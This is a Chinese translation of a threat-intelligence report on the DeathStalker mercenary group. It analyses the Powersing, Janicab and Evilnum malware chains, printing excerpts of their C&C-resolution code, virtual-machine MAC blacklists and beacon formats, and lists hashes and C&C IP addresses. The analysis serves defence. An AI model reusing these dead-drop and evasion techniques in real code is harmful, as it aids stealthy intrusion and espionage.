譯者:知道創宇404實驗室翻譯組
原文鏈接:https://securelist.com/

國家贊助的威脅者和復雜的攻擊經常成為人們關注的焦點。確實,他們的創新技術,先進的惡意軟件平臺和 0day漏洞利用鏈吸引了我們的想象力。但是,在大多數公司中,這些群體仍然不太可能成為風險模型的一部分,也不應該成為風險模型的一部分。當今的企業面臨著更多直接的威脅,從勒索軟件和客戶信息泄漏到從事不道德商業行為的競爭對手。在文章中,我們將重點關注DeathStalker:這是一個獨特的威脅組,似乎針對律師事務所和金融部門的公司(盡管我們偶爾在其他垂直行業也看到過)。據我們所知,他們不受經濟利益的驅使。他們不部署勒索軟件,不竊取付款信息并轉售,或從事與網絡犯罪黑社會相關的任何類型的活動。他們對收集敏感的業務信息感興趣,這使我們相信DeathStalker是一群雇傭兵,他們提供黑客出租服務,或在金融界充當某種信息經紀人的角色。

DeathStalker首先通過Powersing的基于PowerShell的植入程序引起了我們的注意。通過分解該線程,我們可以確定可追溯到2018年甚至2012年的活動。但是,在深入探究DeathStalker的歷史之前,我們將從一些背景開始,以下先介紹威脅者的武器庫。

Powersing工具鏈

總覽

威脅行動者的最新操作依賴于相同的入侵媒介:帶有包含惡意LNK文件的附加存檔的魚叉式網絡釣魚電子郵件。

img

盡管看起來像來自Explorer或流行的歸檔提取產品的文檔,但是這些快捷方式仍指向cmd.exe。這些快捷方式文件具有以下結構:

img

單擊它們將啟動一個復雜的序列,導致在受害者的計算機上執行任意代碼。通過cmd.exe的參數傳遞的簡短PowerShell腳本引導了以下鏈:

img

  • 階段0的作用是提取并執行鏈中的下一個元素,以及嵌入到LNK文件中以顯示給用戶的誘餌文檔。這會產生單擊真實文檔的錯覺,并確保受害者不會變得可疑。
  • 第1階段是一個PowerShell腳本,其中包含C#程序集,該程序集旨在連接到Dead Drop解析器(在下一段中對此有更多介紹),并通過從快捷方式中提取“ DLL”文件來獲取用于解碼鏈的最后階段的加密材料。以固定的偏移量定位Base64編碼的URL列表。通過在Windows啟動文件夾中創建指向VBE啟動腳本的快捷方式(使用拖放的圖標),可以建立持久性。
  • 最后,在第2階段,實際的惡意軟件植入程序用于控制受害者的機器。它連接到一個死點解析器之一,以獲取真實C&C服務器的地址,并進入一個循環,每隔幾秒鐘查找一次訂單。
  • 系統重新啟動后,將自動執行VBE啟動腳本(與階段0極為相似),再次引導至Powersing階段2。

與C&C服務器的通信涉及JSON編碼對象的交換。Powersing只有兩個任務:

  • 捕獲受害者機器上的定期屏幕截圖,并立即發送到C&C服務器(兩個內置命令允許更改屏幕截圖的質量和周期性)
  • 執行C&C提供的任意Powershell腳本

在第1階段和第2階段,在我們分析過的不同樣本中,安全軟件規避行為的變化很大。根據在計算機上檢測到的AV,Powersing可能會選擇其他持久性方法,甚至完全停止運行。我們懷疑此工具集背后的小組在每個活動之前都進行了檢測測試,并根據結果更新了腳本。這表明了軟件設計的一種迭代且快節奏的方法。值得指出的是,階段2會在計算機上主動查找虛擬化痕跡(例如,特定于供應商的MAC地址)和惡意軟件分析工具,并將此信息報告給C&C服務器。

總結本節,我們想提到Powersing不是一個整體的惡意軟件平臺。相反,它是受害者網絡內部的隱性立足點,其關鍵作用是能夠投射出更多工具。

死角解析器

DeathStalkers工具鏈利用大量公共服務作為死點解析器。這些服務為攻擊者提供了一種通過公開帖子,評論,用戶個人資料,內容描述等將數據存儲在固定URL上的方式。攻擊者留下的消息遵循以下模式:“我的鍵盤不起作用…[字符串]。 ” 和“嘿兄弟我唱[64編碼的字符串],是的”。

img

在調查該威脅因素的過程中,我們發現了以下消息:

  • Google+
  • Imgur
  • Reddit
  • ShockChan
  • Tumblr
  • 推特
  • YouTube
  • WordPress

該列表很可能并不詳盡。通過簡單的Google查詢可以發現許多此類消息。Powersing的首要業務是連接到它知道的任何死點解析器以檢索此信息。階段1使用這些消息的第一個字符串,其中包含用于解碼階段2的AES密鑰。然后,階段2連接到死點解析器,以獲取在第二個字符串中編碼的整數。如下代碼摘錄所示,該整數在被轉換為IP地址之前,會被任意常數(隨樣本而變化)除以:

public string LongToIP(string long_ip_string)  
{
  long longIP;
  long.TryParse(long_ip_string, out longIP);
  longIP = longIP / 25835;  // NB: divide integer by an arbitrary constant
  string ip = string.Empty;
  for (int i = 0; i < 4; i++)
  {
    int num = (int)(longIP / Math.Pow(256, (3 - i)));
    longIP = longIP - (long)(num * Math.Pow(256, (3 - i)));
    if (i == 0)
      ip = num.ToString();
    else
      ip = ip + "." + num.ToString();
  }
  return ip;
} 

該IP地址然后存儲在用戶的硬盤驅動器上,并用于建立與實際C&C服務器的連接,操作員使用該IP地址來控制Powersing。依靠知名的公共服務,網絡犯罪分子可以將最初的后門通信混入合法的網絡流量中。這也限制了安全工作者可以采取哪些行動來阻礙其運作,因為這些平臺通常無法在公司級別上被列入黑名單,而從中刪除內容可能是一個艱巨而漫長的過程。但是,這是有代價的:互聯網永遠不會忘記,網絡罪犯也很難清除其運行痕跡。借助搜索引擎索引或存檔的數據,我們估計Powersing于2017年8月左右首次使用。

我們要提及的最后一個細節是,我們發現的許多Powersing C&C具有SSL證書,讓人聯想到索菲斯臭名昭著的筷子C&C“ IT部門”證書。我們相信此基礎架構與索非西(Sofacy)沒有關聯,并且相信這是威脅行為者試圖使防御者得出錯誤結論的嘗試。

DeathStalker鏈接到已知團體

亞尼察卜

Sec0wn在原始博客中介紹Powersing暗示了與名為Janicab的惡意軟件家族的可能鏈接,該家族的較早樣本可追溯到2012年。但是,據我們所知,這種連接從未公開進行過探索。最終,我們在Janicab 的2015年博客文章(1fe4c500c9f0f7630a6037e2de6580e9)中獲得了F-Secure列出的惡意軟件樣本之一,以尋找相似之處。

該文件是指向cmd.exe的另一個LNK,它在單擊時會在系統上刪除VBE腳本以及誘餌文檔。該腳本和未列出的YouTube視頻建立連接,以獲得嵌入在說明中的C&C信息:

img

然后,將在此頁面上獲得的整數除以常量,然后再轉換為IP地址:

Set objRE = New RegExp
With objRE
    .Pattern = "our (.*)th psy anniversary"
    .IgnoreCase = True
End With
Set objMatch = objRE.Execute( outputHTML )

If objMatch.Count = 1 Then
    server = ""
    server = objMatch.Item(0).Submatches(0)
    server = server / 31337  'NB: divide integer by an arbitrary constant
    'msgbox(server)
    server = IPConvert(server)
    server = "http://" & server & "/wp-admin-content"
End If

雖然僅將YouTube用作死點解析器并不足以在兩組之間建立鏈接,但我們認為,在線獲取某個整數并將其分割后再將其解釋為IP地址之前,該過程十分獨特。

Janicab的功能也讓我們想起了Powersing的功能:該示例包含基于計算機MAC地址的VM檢測,尋找惡意軟件分析程序以及熟悉的防病毒軟件規避例程。Janicab還定期將受害者桌面的屏幕截圖發送給C&C,并似乎可以執行任意Python腳本。

Janicab的最新版本(85ed6ab8f60087e80ab3ff87c15b1174)使人想起網絡流量的Powersing,尤其是當惡意軟件向其C&C服務器注冊時:

為注冊請求Powersing(POST數據) Janicab注冊請求
{“un”: “[username]”,“cn”: “[computer name]”,“av”: “[installed AV program]”,“dob”: “[OS installation date]”,“os”: “[OS version]”,“ou”: “[campaign identifier]”,“dc”: “[version]”} GET /gid.php?action=add&cn=[computer name]&un=[username]&v=[version]&av=[installed AV program]&an=[campaign identifier]

此外,此樣本包含的黑名單VM MAC地址列表與本文前面介紹的Powersing樣本完全相同,順序相同。

Powersing列入黑名單的MAC地址 Janicab的黑名單MAC地址
virtual_mac_prefix.Add(“ 00015D”); macs(0)=“ 00-01-5D”
virtual_mac_prefix.Add(“ 0003BA”); macs(1)=“ 00-03-BA”
virtual_mac_prefix.Add(“ 000782”); macs(2)=“ 00-07-82”
virtual_mac_prefix.Add(“ 000F4B”); macs(3)=“ 00-0F-4B”
virtual_mac_prefix.Add(“ 00104F”); macs(4)=“ 00-10-4F”
virtual_mac_prefix.Add(“ 0010E0”); macs(5)=“ 00-10-E0”
virtual_mac_prefix.Add(“ 00144F”); macs(6)=“ 00-14-4F”
virtual_mac_prefix.Add(“ 0020F2”); macs(7)=“ 00-20-F2”
virtual_mac_prefix.Add(“ 002128”); macs(8)=“ 00-21-28”
virtual_mac_prefix.Add(“ 0021F6”); macs(9)=“ 00-21-F6”
virtual_mac_prefix.Add(“ 005056”); macs(10)=“ 00-50-56”
virtual_mac_prefix.Add(“ 000C29”); macs(11)=“ 00-0C-29”
virtual_mac_prefix.Add(“ 000569”); macs(12)=“ 00-05-69”
virtual_mac_prefix.Add(“ 0003FF”); macs(13)=“ 00-03-FF”
virtual_mac_prefix.Add(“ 001C42”); macs(14)=“ 00-1C-42”
virtual_mac_prefix.Add(“ 00163E”); macs(15)=“ 00-16-3E”
virtual_mac_prefix.Add(“ 080027”); macs(16)=“ 08-00-27”
virtual_mac_prefix.Add(“ 001C14”); macs(17)=“ 00-1C-14”
virtual_mac_prefix.Add(“ 080020”); macs(18)=“ 08-00-20”
virtual_mac_prefix.Add(“ 000D3A”); macs(19)=“ 00-0D-3A”
virtual_mac_prefix.Add(“ 00125A”); macs(20)=“ 00-12-5A”
virtual_mac_prefix.Add(“ 00155D”); macs(21)=“ 00-15-5D”
virtual_mac_prefix.Add(“ 0017FA”); macs(22)=“ 00-17-FA”
virtual_mac_prefix.Add(“ 001DD8”); macs(23)=“ 00-1D-D8”
virtual_mac_prefix.Add(“ 002248”); macs(24)=“ 00-22-48”
virtual_mac_prefix.Add(“ 0025AE”); macs(25)=“ 00-25-AE”
virtual_mac_prefix.Add(“ 0050C2”); macs(26)=“ 00-50-C2”
virtual_mac_prefix.Add(“ 0050F2”); macs(27)=“ 00-50-F2”
virtual_mac_prefix.Add(“ 444553”); macs(28)=“ 44-45-53”
virtual_mac_prefix.Add(“ 7CED8D”); macs(29)=“ 7C-ED-8D”

惡魔 Evilnum

另一個值得研究的可能關系與最近的Evilnum惡意軟件家族有關,該家族是ESET去年7月發表的深入博客文章的主題,以及我們自己的一些私人報告。ESET的帖子詳細介紹了另一個基于LNK的感染鏈,該鏈導致了基于Javascript的惡意軟件的執行。再次,我們獲得了一個舊的Evilnum示例(219dedb53da6b1dce0d6c071af59b45c),并觀察到它還從死點解析器(GitHub)獲取了C&C信息,從而獲得了使用以下代碼轉換的IP地址:

function extract_srvaddr() {
  serverFound = false;
  pattern = 'our news start at (.*) thank you';
  while(serverFound == false) {
    var item = items[Math.floor(Math.random()*items.length)];
    var html = get_page_content_with_ie(item,'');
    if(html != '') {
      var match = extract_string(pattern, html);
      if(match != null) {
      srv = num2dot(match[1]/666); // NB: divide integer by a constant
      srv = srv + "/Validate";
      srv_stat = get_page_content_with_ie(srv+"/ValSrv", '');
      validate_str = extract_string('youwillnotfindthisanywhare', srv_stat);
      if(validate_str == 'youwillnotfindthisanywhare') {
        serverFound = true;
        return srv;
      }
    }
  }
}

我們不禁注意到使用正則表達式來查找特定字符串以獲取整數,然后將該整數除以常量得到C&C服務器IP地址的模式。盡管Evilnum提供了比Powersing更多的功能,但它也可以捕獲屏幕截圖并將其發送到C&C服務器。

在受害者方面,Evilnum專注于金融科技領域的公司。它似乎對商業智能比對財務收益更感興趣。這與到目前為止我們觀察到的DeathStalker活動一致。

我們要提到的最后一個聯系是,盡管以不同的語言編寫,但最近的Evilnum(835d94b0490831da27d9bf4e9f4b429c)和Janicab示例有一些輕微的代碼重疊:

  • 在執行等效任務的函數中使用具有相似名稱的變量(對于Janicab是“ ieWatchdogFilename”,對于Evilnum是“ ieWatchdogPath”)
  • 用于清除的兩個函數具有相同的名稱:“ deleteLeftOvers”

我們認為這些名稱足夠獨特,可以在兩個惡意軟件家族之間創建一個附加鏈接。不太確定的是,此Evilnum示例還包含一個名為“ long2ip”的函數,用于將整數轉換為IP地址,而Powersing包含一個以“ LongToIP”命名的類似實現。

摘要

Powersing,Janicab和Evilnum是三個基于腳本語言的工具鏈,它們具有以下相似之處:

  • 所有這三個都是通過魚叉式網絡釣魚提供的存檔中包含的LNK文件分發的
  • 他們使用正則表達式和硬編碼語句從死點解析器獲取C&C信息
  • IP地址以整數形式獲得,然后在轉換之前將其除以硬編碼常量
  • 三個惡意軟件系列之間的代碼重疊很少,可能表明它們是由同一團隊或在共享軟件開發實踐的小組內部開發的
  • 這三個惡意軟件家族均具有截圖捕獲功能。盡管本身并不是原創,但這通常不是此類小組開發優先級的一部分,并且可能表示共享的設計規范
  • 最后,盡管我們沒有太多有關Janicab受害者的信息,但Powersing和Evilnum都在追求商業智能,盡管它們來自不同的行業領域。兩組活動均與雇傭軍進行的假設相符

盡管這些觀點本身不足以得出結論,但我們認為它們一起使我們能夠中等信心地評估Powersing,Evilnum和Janicab是由同一集團運營。我們目前無法透露的行業合作伙伴與我們共享的其他數據也支持這一結論。

攻擊對象

DeathStalker主要針對金融部門的私人實體,包括律師事務所,財富咨詢公司,金融技術公司等。在一個獨特的實例中,我們還觀察到DeathStalker攻擊一個外交實體。

img

我們已經能夠確定在阿根廷,中國,塞浦路斯,以色列,黎巴嫩,瑞士,臺灣,土耳其,英國和阿拉伯聯合酋長國與Powersing相關的活動。我們還在塞浦路斯,印度,黎巴嫩,俄羅斯和阿拉伯聯合酋長國安置了Evilnum受害者。

但是,我們認為DeathStalkers純粹是根據他們的感知價值或可能根據客戶要求來選擇目標。在這種情況下,我們評估了金融部門中的任何公司,無論其地理位置如何,都能引起DeathStalker的注意。

結論

在此博客文章中,我們介紹了新式感染鏈,該鏈如今仍被威脅者積極使用和開發者。它不包含任何創新技巧或復雜方法,并且鏈中的某些組件實際上可能看起來并不必要。但是,如果有關同一個集團運營Janicab和Powersing的假設是正確的,則表明他們自2012年以來就一直在利用相同的方法。在信息安全領域,沒有比這更“真實”的了。

基于這些工具鏈顯示的有限的技術手段,我們認為它們是小型組甚至熟練的個人可以創造的典范。我們在公開發布有關DeathStalker的信息時看到的價值在于,使這一威脅參與者成為私營部門能防御的基線。像DeathStalker這樣的組織代表著當今大多數公司面臨的網絡威脅類型,而不僅僅是國家資助的APT。由于其正在進行的運營(DeathStalker自2020年3月以來特別利用Janabb和Powersing植入物利用COVID-19進行部署)以及自2018年以來的持續活動,我們相信DeathStalker仍在開發其工具集,并且我們將不久的將來有更多報告。

我們建議防御者密切注意與腳本語言(例如powershell.exe和cscript.exe)的Windows解釋器有關的任何過程創建。這些實用程序應盡可能不用。我們還建議未來的意識培訓和安全產品評估包括基于LNK文件的感染鏈。

IOC

D330F1945A39CEB78B716C21B6BE5D82 Malicious LNK
D83F933B2A6C307E17438749EDA29F02 Malicious LNK
540BC05130424301A8F0543E0240DF1D Malicious LNK
3B359A0E279C4E8C5B781E0518320B46 Malicious LNK
6F965640BC609F9C5B7FEA181A2A83CA Malicious LNK
E1718289718792651FA401C945C17079 Malicious LNK
F558E216CD3FB6C23696240A8C6306AC Malicious LNK
B38D1C18CBCCDDDBF56FDD28E5E6ECBB Loader Script
E132C596857892AC41249B90EA6934C1 PowerSing Stage 1
9A0F56CDACCE40D7039923551EAB241B PowerSing Stage 1
0CEBEB05362C0A5665E7320431CD115A PowerSing Stage 1
C5416D454C4A2926CA6128E895224981 PowerSing Stage 1
DBD966532772DC518D818A3AB6830DA9 PowerSing Stage 1
B7BBA5E70DC7362AA00910443FB6CD58 PowerSing Stage 1
2BE3E8024D5DD4EB9F7ED45E4393992D PowerSing Stage 1
83D5A68BE66A66A5AB27E309D6D6ECD1 PowerSing Stage 1
50D763EFC1BE165B7DB3AB5D00FFACD8 PowerSing Stage 1
C&C servers
54.38.192.174 (ZoomEye搜索結果) Powersing C&C
91.229.76.17 (ZoomEye搜索結果) Powersing C&C
91.229.76.153 (ZoomEye搜索結果) Powersing C&C
91.229.77.240 (ZoomEye搜索結果) Powersing C&C
91.229.77.120 (ZoomEye搜索結果) Powersing C&C
91.229.79.120 (ZoomEye搜索結果) Powersing C&C
54.38.192.174 (ZoomEye搜索結果) Powersing C&C
105.104.10.115 (ZoomEye搜索結果) Powersing C&C

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1312/